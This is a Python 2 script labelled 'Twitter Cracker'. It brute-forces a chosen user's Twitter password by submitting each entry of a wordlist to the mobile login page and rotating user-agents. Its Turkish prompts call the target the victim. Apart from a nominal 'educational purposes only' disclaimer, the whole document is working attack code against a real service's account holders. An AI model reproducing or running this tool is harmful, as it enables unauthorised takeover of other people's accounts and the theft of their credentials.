Twitter brute force python script

#!usr/bin/python 
#Twitter Cracker Version 1 can crack into Twitter Database 100% without Interruption By Firewall ! 
#This program is for educational purposes only. 
#Don't attack people Twitter accounts it's illegal ! 
#If you want to crack into someone's account, you must have the permission of the user. 
#Mauritania Attacker is not responsible. 
  
  
import sys 
import random 
import mechanize 
import cookielib 
  
  
GHT = ''' 
        +=======================================+ 
        |..........Twitter Cracker v 2..........| 
        +---------------------------------------+ 
        |#Edit  : StifLer                       | 
        |#Contact: byystifler@hotmail.com ^_^   | 
        |#Date: 03/08/2013                      | 
        |#SpyHatz.com / Ajanlar.org             | 
        |  use of this program !                | 
        +=======================================+ 
        |..........Twitter Cracker v 2..........| 
        +---------------------------------------+ 
''' 
print "Kurbanin e-maili veya twitter kullanici adi" 
print "# Ctrl + C yaparak programi kapatabilirsiniz." 
  
  
  
username = str(raw_input("# Twitter kullanici adi  : ")) 
passwordlist = str(raw_input("Denenecek sifrelerin kayitli oldugu dosya : ")) 
  
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] 
  
  
  
login = 'https://mobile.twitter.com/session' 
def attack(password): 
  
  try: 
     sys.stdout.write("\r[*] trying %s.. " % password) 
     sys.stdout.flush() 
     br.addheaders = [('User-agent', random.choice(useragents))] 
     site = br.open(login) 
     br.select_form(nr=0) 
  
      
      
          
         ##Twitter 
     br.form['username'] = username 
     br.form['password'] = password 
     br.submit() 
     log = br.geturl() 
     if log != login: 
        print "\n\n\n[*] Password Twitter found .. !!" 
        print "\n[*] Password : %s\n" % (password) 
        sys.exit(1) 
  except KeyboardInterrupt: 
        print "\n[*] Exiting program .. " 
        sys.exit(1) 
  
def search(): 
    global password 
    for password in passwords: 
        attack(password.replace("\n","")) 
  
  
  
def check(): 
  
    global br 
    global passwords 
    try: 
       br = mechanize.Browser() 
       cj = cookielib.LWPCookieJar() 
       br.set_handle_robots(False) 
       br.set_handle_equiv(True) 
       br.set_handle_referer(True) 
       br.set_handle_redirect(True) 
       br.set_cookiejar(cj) 
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 
    except KeyboardInterrupt: 
       print "\n[*] Exiting program ..\n" 
       sys.exit(1) 
    try: 
       list = open(passwordlist, "r") 
       passwords = list.readlines() 
       k = 0 
       while k < len(passwords): 
          passwords[k] = passwords[k].strip() 
          k += 1 
    except IOError: 
        print "\n[*] Error: check your password list path \n" 
        sys.exit(1) 
    except KeyboardInterrupt: 
        print "\n[*] Exiting program ..\n" 
        sys.exit(1) 
    try: 
        print GHT 
        print "[*] Account to crack : %s" % (username) 
        print "[*] Loaded :" , len(passwords), "passwords" 
        print "[*] Cracking, please wait ..." 
    except KeyboardInterrupt: 
        print "\n[*] Exiting program ..\n" 
        sys.exit(1) 
    try: 
        search() 
        attack(password) 
    except KeyboardInterrupt: 
        print "\n[*] Exiting program ..\n" 
        sys.exit(1) 
  
if __name__ == '__main__': 
    check()